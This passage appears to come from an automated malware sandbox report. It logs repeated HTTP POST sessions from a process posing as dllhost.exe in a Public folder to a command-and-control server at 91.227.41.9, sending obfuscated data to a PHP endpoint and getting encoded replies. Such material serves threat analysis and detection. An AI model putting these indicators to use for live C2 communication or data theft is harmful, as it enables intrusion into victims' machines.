                                                                                                                                      Data Raw: 0f 13 39 1f 32 26 0d 5f 29 30 2d 54 2b 3c 0d 58 2e 01 0d 02 28 20 36 02 26 3e 37 1f 26 2b 35 08 28 00 23 59 25 32 31 53 27 51 3f 1d 3e 28 2f 58 07 1c 27 10 3c 38 38 03 25 33 22 14 3d 08 24 05 32 2d 30 17 33 3e 33 05 26 30 34 59 3c 1d 35 56 25 16 25 54 28 5d 23 06 2e 24 3b 0c 21 1e 23 53 08 11 26 0f 33 0f 0e 5b 26 11 27 07 21 33 29 08 24 2b 2f 1c 29 2f 3b 03 28 20 31 5a 3c 0f 08 11 27 1c 0a 1c 24 3f 3b 06 27 1d 32 1a 25 2a 26 54 2a 00 23 56 03 31 57 50
                                                                                                                                      Data Ascii: 92&_)0-T+<X.( 6&>7&+5(#Y%21S'Q?>(/X'<88%3"=$2-03>3&04Y<5V%%T(]#.$;!#S&3[&'!3)$+/)/;( 1Z<'$?;'2%*&T*#V1WP


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      82192.168.2.44997591.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:05.005199909 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:29:05.359039068 CET2536OUTData Raw: 59 5a 43 51 58 43 50 5f 54 57 5b 51 55 5c 59 5c 50 53 5a 51 56 53 57 5b 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YZCQXCP_TW[QU\Y\PSZQVSW[X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$09^< +%3;V?94 *! 0<*$"2,[+?&\"'Z,8
                                                                                                                                      Dec 9, 2024 00:29:06.289541960 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:06.525187016 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:29:06 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      83192.168.2.44997891.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:06.773051023 CET238OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:29:07.124917030 CET2536OUTData Raw: 5c 5b 43 53 5d 47 55 5f 54 57 5b 51 55 50 59 5c 50 5f 5a 5e 56 57 57 58 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \[CS]GU_TW[QUPY\P_Z^VWWXX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'^3.>=)<^46#^(-^'?4))34;# W+93"???&\"'Z,
                                                                                                                                      Dec 9, 2024 00:29:08.063940048 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:08.297602892 CET151INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:29:07 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      84192.168.2.44998191.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:08.539191008 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:29:08.891000032 CET2536OUTData Raw: 5c 5b 43 57 58 42 50 5b 54 57 5b 51 55 51 59 59 50 5d 5a 5a 56 57 57 5a 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \[CWXBP[TW[QUQYYP]ZZVWWZX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'$-](:# 5<0<:?#7P53+<\62<+/&\"'Z,
                                                                                                                                      Dec 9, 2024 00:29:09.810267925 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:10.046686888 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:29:09 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      85192.168.2.44998791.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:10.287321091 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:29:10.642998934 CET2536OUTData Raw: 59 5b 43 5c 58 45 55 52 54 57 5b 51 55 50 59 54 50 5c 5a 59 56 57 57 58 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y[C\XEURTW[QUPYTP\ZYVWWXX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'^39?9X45<*&2&/8?+49?W#00(*/61,[?/&\"'Z,


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      86192.168.2.44999091.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:11.542078972 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 1848
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:29:11.890245914 CET1848OUTData Raw: 59 58 43 5c 58 47 55 5a 54 57 5b 51 55 58 59 59 50 53 5a 5c 56 50 57 5b 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YXC\XGUZTW[QUXYYPSZ\VPW[X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'X'=*( Z#+[(%.$Y;P(<X#*5Q<*8Y!;<&\"'Z,<
                                                                                                                                      Dec 9, 2024 00:29:12.811547995 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:13.045635939 CET380INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:29:12 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                      Content-Length: 152
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 0f 13 3a 0c 26 26 23 13 3e 33 29 19 2b 02 01 5e 2d 3f 23 00 2a 30 07 12 32 00 05 1c 32 28 3e 1c 3c 3e 05 17 27 32 2a 0e 24 51 20 0d 2a 38 2f 58 07 1c 24 02 3c 05 01 5a 24 23 03 04 2a 21 3c 00 27 2d 20 5b 33 3e 20 5a 24 55 24 13 2b 23 0b 56 26 38 0f 19 3c 3b 01 02 3a 27 02 13 36 24 23 53 08 11 25 19 24 21 3c 5c 32 3f 38 58 22 33 2d 0e 25 3b 06 0c 28 3c 06 59 28 1d 2a 00 3c 0f 25 0c 24 21 38 1e 24 2f 24 5d 24 1d 2d 0f 26 10 26 54 2a 00 23 56 03 31 57 50
                                                                                                                                      Data Ascii: :&&#>3)+^-?#*022(><>'2*$Q *8/X$<Z$#*!<'- [3> Z$U$+#V&8<;:'6$#S%$!<\2?8X"3-%;(<Y(*<%$!8$/$]$-&&T*#V1WP


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      87192.168.2.44999191.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:11.666821957 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:29:12.019011974 CET2536OUTData Raw: 5c 5c 43 56 58 42 55 53 54 57 5b 51 55 5f 59 5d 50 5e 5a 5d 56 5c 57 58 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \\CVXBUSTW[QU_Y]P^Z]V\WXX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$$-+_,[ S$(&2'?;?#4:/W!8W+#"0_?/&\"'Z,
                                                                                                                                      Dec 9, 2024 00:29:12.932091951 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:13.164985895 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:29:12 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      88192.168.2.44999591.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:13.419284105 CET238OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:29:13.765283108 CET2536OUTData Raw: 59 58 46 56 58 44 50 5c 54 57 5b 51 55 5d 59 55 50 5b 5a 58 56 5d 57 5f 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YXFVXDP\TW[QU]YUP[ZXV]W_X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'X$.!^=:84(5'T))4)#U!0+$!1;(&\"'Z,<
                                                                                                                                      Dec 9, 2024 00:29:14.699723005 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:14.972004890 CET151INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:29:14 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      89192.168.2.45000191.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:15.213638067 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:29:15.562253952 CET2536OUTData Raw: 59 52 43 5d 5d 47 50 59 54 57 5b 51 55 51 59 5a 50 5a 5a 5b 56 54 57 5f 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YRC]]GPYTW[QUQYZPZZ[VTW_X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$$-:<9'4#_(61'/<)) 7\$!3(#!(+&\"'Z,
                                                                                                                                      Dec 9, 2024 00:29:16.480915070 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:16.712977886 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:29:16 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      90192.168.2.45000691.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:16.963237047 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:29:17.312206030 CET2536OUTData Raw: 5c 5c 46 57 58 4b 55 52 54 57 5b 51 55 5c 59 59 50 5d 5a 5a 56 5c 57 52 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \\FWXKURTW[QU\YYP]ZZV\WRX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$'>-(*<45?(%"'#P<:7!);6,Q<)("1/<?&\"'Z,8


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      91192.168.2.45000991.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:18.171538115 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 1860
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:29:18.518799067 CET1860OUTData Raw: 59 58 46 56 5d 41 50 5f 54 57 5b 51 55 51 59 5f 50 5d 5a 51 56 52 57 5c 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YXFV]AP_TW[QUQY_P]ZQVRW\X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$$="=)<[77<&1'Y7?#7+Q"#3($]53+&\"'Z,
                                                                                                                                      Dec 9, 2024 00:29:19.523708105 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:19.757580996 CET380INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:29:19 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                      Content-Length: 152
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 0f 13 39 54 26 26 27 12 29 1d 21 52 28 12 0d 58 39 3c 2c 10 28 23 35 12 25 2e 24 0d 26 28 2e 1c 3e 3e 05 5f 27 32 21 51 24 37 34 08 29 28 2f 58 07 1c 27 58 3c 28 3f 59 26 0d 00 59 3d 08 23 59 26 2e 3f 07 30 07 23 03 27 33 28 5e 3e 30 21 57 25 06 3d 19 3c 02 30 5d 2f 27 27 0f 23 34 23 53 08 11 26 0b 27 57 20 10 32 3c 37 03 20 33 3e 51 27 5d 3f 13 3d 2f 37 00 3f 0d 2a 06 3f 08 22 57 24 0c 37 0b 27 11 37 01 24 33 00 50 32 00 26 54 2a 00 23 56 03 31 57 50
                                                                                                                                      Data Ascii: 9T&&')!R(X9<,(#5%.$&(.>>_'2!Q$74)(/X'X<(?Y&Y=#Y&.?0#'3(^>0!W%=<0]/''#4#S&'W 2<7 3>Q']?=/7?*?"W$7'7$3P2&T*#V1WP


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      92192.168.2.45001091.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:18.295196056 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:29:18.643017054 CET2536OUTData Raw: 59 53 46 50 58 44 50 5e 54 57 5b 51 55 50 59 58 50 53 5a 58 56 5d 57 5f 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YSFPXDP^TW[QUPYXPSZXV]W_X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'$>=Y?0^ 6#+5:0?U+:# 7W#0 P(0X!(?&\"'Z,
                                                                                                                                      Dec 9, 2024 00:29:19.630203009 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:19.865009069 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:29:19 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      93192.168.2.45001591.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:20.107018948 CET238OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:29:20.452811956 CET2536OUTData Raw: 59 58 46 51 5d 43 55 5d 54 57 5b 51 55 5d 59 5b 50 5f 5a 5b 56 5c 57 5d 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YXFQ]CU]TW[QU]Y[P_Z[V\W]X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$3-+:877Y?%1\'?9Y#*,53,<9/#1,X?/&\"'Z,<
                                                                                                                                      Dec 9, 2024 00:29:21.371378899 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:21.605273962 CET151INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:29:21 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      94192.168.2.45002191.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:21.853730917 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:29:22.203032017 CET2536OUTData Raw: 5c 5f 43 52 58 4a 55 5e 54 57 5b 51 55 5a 59 55 50 5e 5a 5f 56 5d 57 58 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
